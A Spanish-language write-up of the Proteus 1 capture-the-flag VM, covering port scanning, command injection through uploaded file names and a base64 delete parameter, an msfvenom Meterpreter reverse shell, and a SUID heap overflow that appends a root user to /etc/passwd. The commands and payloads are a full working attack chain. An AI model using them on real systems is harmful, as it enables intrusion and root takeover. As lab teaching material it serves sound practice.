En este post voy a detallar las pruebas realizadas sobre la máquina Proteus 1. La descripción y objetivos que se indican son:
An IT Company implemented a new malware analysis tool for their employees to scan potentially malicious files. This PoC could be a make or break for the company.
It is your task to find the bacterium.
Goal: Get root, and get flag... This VM was written in a manner that does not require
wget http://exploit; gcc exploit.
NB: VMWare might complain about the .ovf specification. If this does come accross your path, click the retry button and all should be well.
Importo la máquina virtual en Virtualbox. Al arrancar no reconoce la red (no puedo encontrar la máquina desde Kali). En la fase de arranque en Grub elijo Recovery Mode y cuando sale el menú, marco Network y cuando diga OK, marco Resume. Ahora sí que se reconoce la red.
Comienzo haciendo una enumeración rápida de puertos:
$ nmap -sV -T4 -O -F 172.16.0.6
Resultado:
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 40:3e:c5:6f:dc:63:c5:af:43:51:28:5c:05:f5:98:c2 (RSA)
| 256 bb:9c:b0:3c:ff:48:8a:2b:37:d2:fe:2e:78:ce:8c:a9 (ECDSA)
|_ 256 ff:85:4e:91:29:da:d1:1b:b3:11:26:5b:d8:c0:7a:f8 (EdDSA)
80/tcp open http Apache httpd
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: Apache
|_http-title: Proteus | v 1.0
MAC Address: 08:00:27:0E:25:3D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 199.638 days (since Thu Dec 29 23:41:24 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
Parece que sólo se encuentran abiertos los puertos 22 (SSH) y 80 (HTTP).
Trato de acceder con ssh:
root@kali:~# ssh root@172.16.0.6
d8888b. d8888b. .d88b. d888888b d88888b db db .d8888.
88 `8D 88 `8D .8P Y8. `~~88~~' 88' 88 88 88' YP
88oodD' 88oobY' 88 88 88 88ooooo 88 88 `8bo.
88~~~ 88`8b 88 88 88 88~~~~~ 88 88 `Y8b.
88 88 `88. `8b d8' 88 88. 88b d88 db 8D
88 88 YD `Y88P' YP Y88888P ~Y8888P' `8888Y'
"A bacterium found in the intestines of animals and in the soil."
Corporate Malware Validator.
Permission denied (publickey).
Paso cerrado. Es necesaria la clave ssh para poder acceder.
A ver qué nos aparece en la web:
La aplicación indica que se permite subir archivos con formato mime application/x-executable y application/x-sharedlib. Además, nos aparece un cuadro de inicio de sesión (usuario y contraseña).
Vamos a probar a subir un archivo ejecutable. Para ello, creo un típico "Hello World!" en C, lo compilo y lo subo con el nombre helloworld.
Vemos que aparecen dos columnas, una con el resultado de ejecutar strings
y otra con el resultado de ejecutar objdump -d
.
Cosas interesantes:
Aparece el nombre del archivo, con la ruta completa, en la carpeta /home/malwareadm/samples con el nombre del fichero cambiado por uno que parece aleatorio.
Al comienzo de cada archivo aparece File: seguido del nombre asignado al fichero en codificación BASE64.
Bueno, parece que tenemos un nombre de usuario del sistema: malwareadm. Si intentamos acceder por ssh, vemos que de nuevo necesitamos el fichero clave para acceder:
root@kali:~# ssh malwareadm@172.16.0.6
d8888b. d8888b. .d88b. d888888b d88888b db db .d8888.
88 `8D 88 `8D .8P Y8. `~~88~~' 88' 88 88 88' YP
88oodD' 88oobY' 88 88 88 88ooooo 88 88 `8bo.
88~~~ 88`8b 88 88 88 88~~~~~ 88 88 `Y8b.
88 88 `88. `8b d8' 88 88. 88b d88 db 8D
88 88 YD `Y88P' YP Y88888P ~Y8888P' `8888Y'
"A bacterium found in the intestines of animals and in the soil."
Corporate Malware Validator.
Permission denied (publickey).
Antes de probar nada más elaborado, probaremos a mano las siguientes combinaciones de usuario/contraseña:
Sin éxito en ninguna de ellas
Arrancamos BurpSuite, activamos el proxy en el navegador y enviamos el siguiente archivo prueba.php
:
<?php
phpinfo() ;
?>
Cambiamos el Content-type:
Resultado:
O sea, que la aplicación lleva a cabo su propia comprobación del tipo de fichero. ¿Se realizará por el contenido, por la extensión?
Vamos a renombrar el archivo helloworld anterior a helloworld.php a ver si la aplicación se piensa que es PHP. Lo subimos y...
El archivo ha sido aceptado por la aplicación y ¡ha mantenido la extensión! Utilizando BurpSuite, vamos a cambiar la extensión de nuestro archivo helloworld a helloworld.elf&pwd&ls
¡Bingo!
Estamos en la carpeta /home/malwareadm/sites/proteus_site/web/public/ y los archivos que hay son: assets, index.php
Vamos a ver el contenido de estos ficheros, utilizando como extensión .elf *. El resultado es:
// Core requirement for this site.
require '../lib/bootstrap.php';
// The Index page
require '../routes/route.index.php';
// The Login page
require '../routes/route.samples.php';
// The Submit page
require '../routes/route.submit.php';
// The delete functionality
require '../routes/route.delete.php';
$app->run();
Parece que el código de interés está en la carpeta routes y que están implementadas las siguientes páginas:
Tratemos de ver qué hay en la carpeta anterior. Para ello, pruebo con las siguientes extensiones:
1. .elf&ls ..
2. .elf&ls /home/malwareadm/sites/proteus_site/web
3. .elf ../*
Sin éxito todas ellas. Trato también de crear un archivo usando como extensión
.elf&echo hola>hola.php
Sin éxito tampoco.
Tras varias pruebas... bueno, más que varias, un montón, obtengo información que me puede ser útil.
Contenido de la carpeta anterior, /home/malwareadm/sites/proteus_site/web
Usamos como extensión .elf&ls -al $(dirname `pwd`)
total 52
drwxr-xr-x 9 malwareadm malwareadm 4096 May 10 08:30 .
drwxr-xr-x 4 malwareadm malwareadm 4096 May 15 14:43 ..
drwxr-xr-x 2 malwareadm malwareadm 4096 May 2 14:08 cfg
-rwxr-xr-x 1 malwareadm malwareadm 745 May 2 16:38 composer.json
-rw-r--r-- 1 malwareadm malwareadm 11175 May 2 16:38 composer.lock
drwxr-xr-x 3 malwareadm malwareadm 4096 May 2 14:04 lib
drwxrwxrwx 2 malwareadm malwareadm 4096 May 10 08:10 logs
drwxr-xr-x 3 malwareadm malwareadm 4096 May 2 14:04 public
drwxr-xr-x 2 malwareadm malwareadm 4096 May 4 19:26 routes
drwxr-xr-x 5 malwareadm malwareadm 4096 May 4 20:37 templates
drwxr-xr-x 8 malwareadm malwareadm 4096 May 2 16:38 vendor
Contenido íntegro de la carpeta /home/malwareadm/sites/proteus_site/
incluyendo subcarpetas
Usamos como extensión .elf&find $(dirname $(dirname `pwd`))
...
/home/malwareadm/sites/proteus_site
/home/malwareadm/sites/proteus_site/admin_login_request.js
/home/malwareadm/sites/proteus_site/PROTEUS_INSTALL
/home/malwareadm/sites/proteus_site/db
/home/malwareadm/sites/proteus_site/admin_login_logger
...
Como vemos que hay varios archivos que incluyen la palabra admin, vamos a buscar todos:
Usamos como extensión .elf&find $(dirname $(dirname `pwd`)) -name *admin*
/home/malwareadm/sites/proteus_site/admin_login_request.js
/home/malwareadm/sites/proteus_site/admin_login_logger
/home/malwareadm/sites/proteus_site/web/templates/admin
Mostramos el contenido de dichos archivos:
Usamos como extensión .elf&for d in $(find $(dirname $(dirname `pwd`)) -maxdepth 2 -name *admin*); do strings $d; done
// THIS IS JUST USED TO IMPERSONATE AN ADMIN FOR THE CHALLENGE
var username = 'malwareadm';
var pwd = 'q-L%40X%21%7Bl_%278%7C%29o%3FQ%2BTapahQ%3C_';
var webPage = require('webpage');
var page = webPage.create();
var postBody = 'username=' + username + '&password=' + pwd;
page.open('http://127.0.0.1/samples', 'post', postBody, function (status) {
if (status !== 'success') {
console.log('Unable to post!');
} else {
console.log(JSON.stringify({
cookies: phantom.cookies
}));
...
No sé si esta es la forma que el creador de la máquina virtual ha previsto para encontrar la clave... pero bueno, aquí la hemos obtenido en codificación BASE64. Si la ponemos en claro, tenemos:
Usuario: malwareadm
Contraseña: q-L@X!{l'8|)o?Q+TapahQ<
Y comprobamos que la página samples ahora nos muestra una nueva opción DELETE que nos permite borrar archivos previamente subidos.
Este borrado se realiza mediante un link en el que se indica el fichero a borrar utilizando la codificación BASE64 del nombre de archivo:
Si borramos alguno de los archivos:
Recordemos que habíamos encontrado que existe el archivo route.delete.php. Como el parámetro que se utiliza para borrar un archivo es el nombre de dicho archivo en codificación BASE64, podemos pensar que es posible realizar algún tipo de inyección de código. En lugar de hacer pruebas a ciegas, vamos a ver el contenido de dicho archivo para comprobar si es posible.
Para obtener el código de dicha página, subimos un archivo y modificamos la extensión:
Usamos como extensión .elf&find $(dirname $(dirname `pwd`)) -name *delete*
/home/malwareadm/sites/proteus_site/web/templates/delete.twig.html
/home/malwareadm/sites/proteus_site/web/routes/route.delete.php
Vemos que hay dos ficheros... mostramos el contenido de ambos.
Usamos como extensión .elf&for d in $(find $(dirname $(dirname `pwd`)) -name *delete*); do strings $d; done
...
<?php
$app->get('/delete/:filename/?',
$work = function ($filename) use ($app) {
if (isset($_SESSION['name'])) {
$message = "Logged in as: " . $_SESSION['name'];
if (isset($_SESSION['admin'])) {
$admin = 1;
} else {
$admin = 0;
}
} else {
$app->redirect(conf::INSTALLED_DIRECTORY);
}
//get all submitted files
foreach(array_diff(scandir(Conf::FILE_PATH), array('.', '..')) as $file) {
if (strpos(base64_decode($filename), $file) !== false) {
shell_exec('rm '. Conf::FILE_PATH . base64_decode($filename));
$message = "Successfully deleted " . Conf::FILE_PATH . base64_decode($filename);
}
}
$app->render('delete.twig.html', array('adminMessage' => $message ));
}
Pues la única comprobación que se realiza es que la decodificación BASE64 del parámetro pasado incluya el nombre del archivo existente. Si es así, se ejecuta el comando rm
concatenando el PATH y el resultado de decodificar el nombre del archivo. Inyección garantizada :) . Sin embargo, no se muestra el resultado de la ejecución, así que la inyección se hace a ciegas.
Utilizando msvenom vamos a crear un ejecutable con Meterpreter. Lo subiremos a la página y trataremos de ejecutarlo.
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.0.4 LPORT=10000 -f elf > meterpreter_reverse_tcp_172_16_0_4_10000.elf
Subimos también un helloworld, para poder borrarlo e inyectar el código que ejecute nuestro meterpreter.
El nombre del archivo asignado a helloworld es 59784639ec223. El nombre del archivo asignado a meterpreter es 59784659d583f.elf
El comando completo que quiero que se ejecute es:
$ rm /home/malwareadm/samples/59784639ec223. & /home/malwareadm/samples/59784659d583f.elf
-----------------------------------------------------------
Si la inyección funciona, debería obtener una sesión en meterpreter. Inicio metasploit y hago uso del módulo exploit/multi/handler con LHOST=172.16.0.4 y LPORT=10000.
Codificamos en BASE64 lo subrayado:
TEXTO: 59784639ec223. & /home/malwareadm/samples/59784659d583f.elf
BASE64: NTk3ODQ2MzllYzIyMy4gJiAvaG9tZS9tYWx3YXJlYWRtL3NhbXBsZXMvNTk3ODQ2NTlkNTgzZi5lbGYK
Iniciamos sesión con malwareadm y visitamos el enlace: http://172.16.0.6/delete/NTk3ODQ2MzllYzIyMy4gJiAvaG9tZS9tYWx3YXJlYWRtL3NhbXBsZXMvNTk3ODQ2NTlkNTgzZi5lbGYK
Y el resultado es...
Encontramos el siguiente archivo: /home/malwareadm/sites/proteus_site/PROTEUS_INSTALL. Si miramos el contenido, aparece, entre otras, una clave para acceder vía SSH:
THIS SOFTWARE COMES WITH A PRE INSTALLED USER CALLED "malwareadm"
THE SOFTWARE CAN BE SET UP REMOTELY VIA SSH OR ANY OTHER MEANS.
THE KEY GENERATED FOR THIS USER IS:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6F2AF2450CD5C1D72E159F0B78548D69
WvWSLDEbMl+JVsCyHD5LSJIT+ARfsPvRpIX/IxunQxPgMUkJl3ZDD45DH1ap36dk
...
Trataremos de acceder por SSH utilizando dicha clave. Creamos un archivo llamado malwareadm_key.txt y copiamos la clave SSH. Cambiamos el permiso de dicho archivo chmod 600 malwareadm_key.txt
Accedemos: ssh -i malwareadm_key.txt malwareadm@172.16.0.6
root@kali:~# ssh -i malwareadm_key.txt malwareadm@172.16.0.6
d8888b. d8888b. .d88b. d888888b d88888b db db .d8888.
88 `8D 88 `8D .8P Y8. `~~88~~' 88' 88 88 88' YP
88oodD' 88oobY' 88 88 88 88ooooo 88 88 `8bo.
88~~~ 88`8b 88 88 88 88~~~~~ 88 88 `Y8b.
88 88 `88. `8b d8' 88 88. 88b d88 db 8D
88 88 YD `Y88P' YP Y88888P ~Y8888P' `8888Y'
"A bacterium found in the intestines of animals and in the soil."
Corporate Malware Validator.
Enter passphrase for key 'malwareadm_key.txt':
Y comprobamos que la clave está protegida por contraseña.
Encontramos el siguiente archivo: /home/malwareadm/sites/proteus_site/web/cfg/config.php
<?php
class Conf
{
/* MySQL */
const MYSQL_USERNAME = 'root';
const MYSQL_PASSWORD = 'viWJ.cgdf&3a]d3xh;C/c]&c?';
const MYSQL_HOST = '127.0.0.1';
const MYSQL_DATABASE = 'proteus_db';
/* Application */
const DEBUG = false; //true/false
const INSTALLED_DIRECTORY = '/'; //something
const MAIL_ALIAS = 'malwareadm@proteus.local'; //Something like user@internet.co.za
const SECRET = 'thisisthesecret'; //This is the secret to salt the hashes
const FILE_PATH = '/home/malwareadm/samples/'; //This is the file path of where the execs will be saved
}
Iniciamos sesión en MySQL y miramos la información que hay:
El único usuario que existe es malwareadm y el campo password tiene como contenido dba10459f1a4c8b25507aee1ab823a26de92fb44. La longitud de 40 caracteres da que pensar que se trata de un HASH SHA-1. Seguramente se encuentra salted con el SECRET indicado en el archivo anterior.
Para saber exactamente cómo es, hago una búsqueda en /home/malwareadm/sites/proteus/site/web en la que aparezca SHA1:
$ grep -r -n -i "sha1" .
...
./lib/bootstrap.php:82: return sha1(md5(Conf::SECRET . $var));
Sin embargo, creo que esta parte del código que sirve para verificar el usuario no se utiliza... Si pruebo la contraseña obtenida de malwareadm y el SECRET para obtener el HASH combinado de SHA1 con MD5, el resultado no coincide:
$ set +H
$ echo -n "thisisthesecretq-L@X!{l_'8|)o?Q+TapahQ<_" | md5sum | sha1sum
7683b6cf01db7c771459d42f2e454b3195b72ddb -
De hecho, si creo un nuevo usuario llamado hola con contraseña hola
$ echo -n thisisthesecrethola|md5sum|sha1sum
dd343a63295187ef43b7c91e86c00c16e2daf3aa -
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Proteus:/home/malwareadm/sites/proteus_site$ mysql -u root -p
Enter password: viWJ.cgdf&3a]d3xh;C/c]&c?
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 184
Server version: 5.7.18-0ubuntu0.16.10.1 (Ubuntu)
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> insert into proteus_db.tbl_user values( 2, 'hola', 'dd343a63295187ef43b7c91e86c00c16e2daf3aa', 1) ;
mysql> select * from proteus_db.tbl_user ;
+----+------------+------------------------------------------+-------+
| id | name | password | admin |
+----+------------+------------------------------------------+-------+
| 1 | malwareadm | dba10459f1a4c8b25507aee1ab823a26de92fb44 | 1 |
| 2 | hola | dd343a63295187ef43b7c91e86c00c16e2daf3aa | 1 |
+----+------------+------------------------------------------+-------+
2 rows in set (0.00 sec)
Con este nuevo usuario, no se puede iniciar la sesión en la aplicación.
Parece que los caminos anteriores no llegan a ninguna parte.
Entre los archivos que hay en /home/malwareadm y subcarpetas, llama la atención el archivo /home/malwareadm/sites/proteus_site/admin_login_logger. El propietario es root y tiene activo el bit SUID. Vamos a ver si hallamos alguna vulnerabilidad de tipo SUID.
Si lo ejecutamos, hace lo siguiente:
www-data@Proteus:/home/malwareadm/sites/proteus_site$ ls -al
ls -al
total 36
drwxr-xr-x 4 malwareadm malwareadm 4096 May 15 14:43 .
drwxr-xr-x 3 malwareadm malwareadm 4096 May 2 14:43 ..
-rw-r--r-- 1 malwareadm malwareadm 6115 May 4 22:18 PROTEUS_INSTALL
-rwsr-xr-x 1 root root 7824 May 10 09:18 admin_login_logger
-rw-r--r-- 1 malwareadm malwareadm 515 May 15 14:43 admin_login_request.js
drwxr-xr-x 2 malwareadm malwareadm 4096 May 2 14:07 db
drwxr-xr-x 9 malwareadm malwareadm 4096 May 10 08:30 web
www-data@Proteus:/home/malwareadm/sites/proteus_site$ ./admin_login_logger
Usage: ./admin_login_logger ADMIN LOGIN ATTEMPT (This will be done with phantomjs)
www-data@Proteus:/home/malwareadm/sites/proteus_site$ ./admin_login_logger hola
Writing datafile 0x9ba81d0: '/var/log/proteus/log'
www-data@Proteus:/home/malwareadm/sites/proteus_site$ ls -al /var/log/proteus
total 120
drwxr-xr-x 2 root root 4096 May 10 05:02 .
drwxrwxr-x 10 root syslog 4096 May 10 07:28 ..
-rw------- 1 root malwareadm 107315 Jul 26 17:21 log
Como vemos, el programa escribe algo en un archivo al que no podemos acceder. Vamos a comprobar si podemos utilizar argumentos muy largos para forzar algo:
www-data@Proteus:/home/malwareadm/sites/proteus_site$ ./admin_login_logger $(for i in {0..99}; do echo -n X; done)
Writing datafile 0x91f71d0: '/var/log/proteus/log'
www-data@Proteus:/home/malwareadm/sites/proteus_site$ ./admin_login_logger $(for i in {0..399}; do echo -n X; done)
Writing datafile 0x8f7e1d0: '/var/log/proteus/log'
www-data@Proteus:/home/malwareadm/sites/proteus_site$ ./admin_login_logger $(for i in {0..799}; do echo -n X; done)
Writing datafile 0x96781d0: 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX '
*** Error in `./admin_login_logger': double free or corruption (!prev): 0x09678008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67f0a)[0xb75fff0a]
/lib/i386-linux-gnu/libc.so.6(+0x6eb07)[0xb7606b07]
/lib/i386-linux-gnu/libc.so.6(+0x6f3c6)[0xb76073c6]
./admin_login_logger[0x8048a14]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb75b0276]
./admin_login_logger[0x80485d1]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 659612 /home/malwareadm/sites/proteus_site/admin_login_logger
08049000-0804a000 r--p 00000000 08:01 659612 /home/malwareadm/sites/proteus_site/admin_login_logger
0804a000-0804b000 rw-p 00001000 08:01 659612 /home/malwareadm/sites/proteus_site/admin_login_logger
09678000-09699000 rw-p 00000000 00:00 0 [heap]
b7400000-b7421000 rw-p 00000000 00:00 0
b7421000-b7500000 ---p 00000000 00:00 0
b757a000-b7596000 r-xp 00000000 08:01 131129 /lib/i386-linux-gnu/libgcc_s.so.1
b7596000-b7597000 r--p 0001b000 08:01 131129 /lib/i386-linux-gnu/libgcc_s.so.1
b7597000-b7598000 rw-p 0001c000 08:01 131129 /lib/i386-linux-gnu/libgcc_s.so.1
b7598000-b774b000 r-xp 00000000 08:01 132762 /lib/i386-linux-gnu/libc-2.24.so
b774b000-b774c000 ---p 001b3000 08:01 132762 /lib/i386-linux-gnu/libc-2.24.so
b774c000-b774e000 r--p 001b3000 08:01 132762 /lib/i386-linux-gnu/libc-2.24.so
b774e000-b774f000 rw-p 001b5000 08:01 132762 /lib/i386-linux-gnu/libc-2.24.so
b774f000-b7752000 rw-p 00000000 00:00 0
b775b000-b775e000 rw-p 00000000 00:00 0
b775e000-b7760000 r--p 00000000 00:00 0 [vvar]
b7760000-b7762000 r-xp 00000000 00:00 0 [vdso]
b7762000-b7784000 r-xp 00000000 08:01 131842 /lib/i386-linux-gnu/ld-2.24.so
b7784000-b7785000 rw-p 00000000 00:00 0
b7785000-b7786000 r--p 00022000 08:01 131842 /lib/i386-linux-gnu/ld-2.24.so
b7786000-b7787000 rw-p 00023000 08:01 131842 /lib/i386-linux-gnu/ld-2.24.so
bffdb000-bfffc000 rw-p 00000000 00:00 0 [stack]
Aborted (core dumped)
Parece que algo hemos roto. Además, nos aparece un nuevo archivo propiedad de root. No podemos ver el contenido, sólo el tamaño (492 bytes).
www-data@Proteus:/home/malwareadm/sites/proteus_site$ ls -al
ls -al
total 40
drwxr-xr-x 4 malwareadm malwareadm 4096 Jul 26 17:29 .
drwxr-xr-x 3 malwareadm malwareadm 4096 May 2 14:43 ..
-rw-r--r-- 1 malwareadm malwareadm 6115 May 4 22:18 PROTEUS_INSTALL
-rw------- 1 root www-data 492 Jul 26 17:29 XXXXXXXXXXXXXXXXXXXXXXXXXXXX??
-rwsr-xr-x 1 root root 7824 May 10 09:18 admin_login_logger
-rw-r--r-- 1 malwareadm malwareadm 515 May 15 14:43 admin_login_request.js
drwxr-xr-x 2 malwareadm malwareadm 4096 May 2 14:07 db
drwxr-xr-x 9 malwareadm malwareadm 4096 May 10 08:30 web
Hacemos unas pruebas para hallar la longitud del argumento a partir de la que empieza a fallar, resultando que falla a partir de una longitud de 452 bytes, pero no se crea ningún fichero:
www-data@Proteus:/home/malwareadm/sites/proteus_site$ ./admin_login_logger $(for i in {0..450}; do echo -n G; done)
Writing datafile 0x94b11d0: '/var/log/proteus/log'
www-data@Proteus:/home/malwareadm/sites/proteus_site$ ./admin_login_logger $(for i in {0..451}; do echo -n H; done)
Writing datafile 0x827c1d0: '/var/log/proteus/log'
*** Error in `./admin_login_logger': double free or corruption (!prev): 0x0827c008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67f0a)[0xb75fdf0a]
Pero a partir de 457 bytes sí se crea un fichero. Como no podemos leer los archivos creados por el desbordamiento de buffer, vamos a ver si podemos descargar admin_login_logger y ejecutarlo en local.
Como la máquina donde ejecuto Kali es de 64 bits y Proteus es de 32 bits, no puedo ejecutar admin_login_logger directamente, así que lo hago en otra máquina virtual.
Compruebo que el contenido del fichero que se crea es:
$ ./admin_login_logger $(for i in {0..456}; do echo -n H; done)
Writing datafile ...
*** Error ...
======= Backtrace: =========
...
$ ls -l
...
-rw------- 1 root root 463 Jul 29 23:19 H
...
$ cat H
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
En total, 457 letras H. Y el nombre del archivo, una letra H. Vamos a probar otra cosa:
$ ./admin_login_logger $(for i in {0..455}; do echo -n A; done)Hola
Writing datafile ...
*** Error ...
======= Backtrace: =========
...
$ ls -l
...
-rw------- 1 root root 466 Jul 29 23:29 Hola
...
$ cat Hola
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHola
Parece que podemos elegir el nombre del archivo y el contenido. Vamos a ver si podemos poner una ruta completa.
$ ./admin_login_logger $(for i in {0..455}; do echo -n A; done)/Hola
Writing datafile ...
*** Error ...
======= Backtrace: =========
...
$ ls / -l
...
-rw------- 1 root root 466 Jul 29 23:33 Hola
...
$ cat Hola
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/Hola
Y si ponemos un archivo existente:
$ cp /etc/sudoers /sudoers
$ ./admin_login_logger $(for i in {0..455}; do echo -n A; done)/sudoers
...
$ cat sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sudoers
Podemos observar que el argumento que le pasamos a admin_login_logger se añade como contenido del fichero existente.
Si elegimos con cuidado el contenido del archivo, podemos, por ejemplo, tratar de añadir la siguiente línea a /etc/sudoers:
www-data ALL=(ALL) ALL
#...#/etc/sudoers
Tenemos que considerar la cadena a añadir, www-data ALL=(ALL) ALL, tiene una longitud de 22 bytes. Lo completamos con '#', símbolo de comentario, para que el nombre del archivo no interfiera.
Probamos en nuestra máquina virtual alternativa:
$ a="www-data ALL=(ALL) ALL"
$ b="$(for i in {0..433}; do echo -n ' ';done)"
$ c="#/etc/sudoers"
$ d="$a""$b""$c"
$ ./admin_login_logger "$d"
Y todo parece funcionar bien. Sin embargo, sudo se queja:
$ su www-data
$ sudo
>>> /etc/sudoers: syntax error near line 26 <<<
sudo: parse error in /etc/sudoers near line 26
sudo: no valid sudoers sorces found, quitting
Analizando con hexdump encuentro que antes de insertar www-data se insertan un par de bytes 0x00.
Vamos a probar otro camino: crear un nuevo usuario con uid:0 y gid:0, insertando una línea en el archivo /etc/passwd. Por ejemplo, usuario prueba contraseña toor. En local, editamos estos dos ficheros, passwd.txt y adduser.sh:
$ nano passwd.txt
prueba:$6$UgoqxSRk$DYvp0RIByTI19tXoYvNBtO7S87HkiuvtNaWF6M1UTSncWIG6JG3xhlr9CSpLpu1bGJPTNAMhdLKngxGVz6GI.1:0:0:prueba:/root:/bin/bash #
$ nano adduser.sh
#! /bin/bash
#a="prueba:x:0:0:prueba:/root:/bin/bash \n#"
a=$(cat passwd.txt)
b="$(for i in {0..320}; do echo -n ' ';done)"
c="#/etc/passwd"
d="$a""$b""$c"
/home/malwareadm/sites/proteus_site/admin_login_logger "$d"
Utilizando nc los copiamos a la máquina Proteus y posteriormente, ejecutamos el script adduser.sh. Lo hacemos todo en la carpeta /home/malwareadm/samples que es en la que tenemos permiso de escritura.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Proteus:/home/malwareadm/samples$ nc -l 12000 > adduser.sh
www-data@Proteus:/home/malwareadm/samples$ nc -l 12000 > passwd.txt
www-data@Proteus:/home/malwareadm/samples$ chmod +x adduser.sh
www-data@Proteus:/home/malwareadm/samples$ ./adduser.sh
./adduser.sh
Writing datafile 0x8ca61d0: '/etc/passwd'
*** Error in `/home/malwareadm/sites/proteus_site/admin_login_logger': double free or corruption (!prev): 0x08ca6008 ***
======= Backtrace: =========
...
www-data@Proteus:/home/malwareadm/samples$ su prueba
su prueba
Password: toor
root@Proteus:/home/malwareadm/samples#
¡¡¡Objetivo conseguido!!!
La bandera se encuentra en /root/flag.png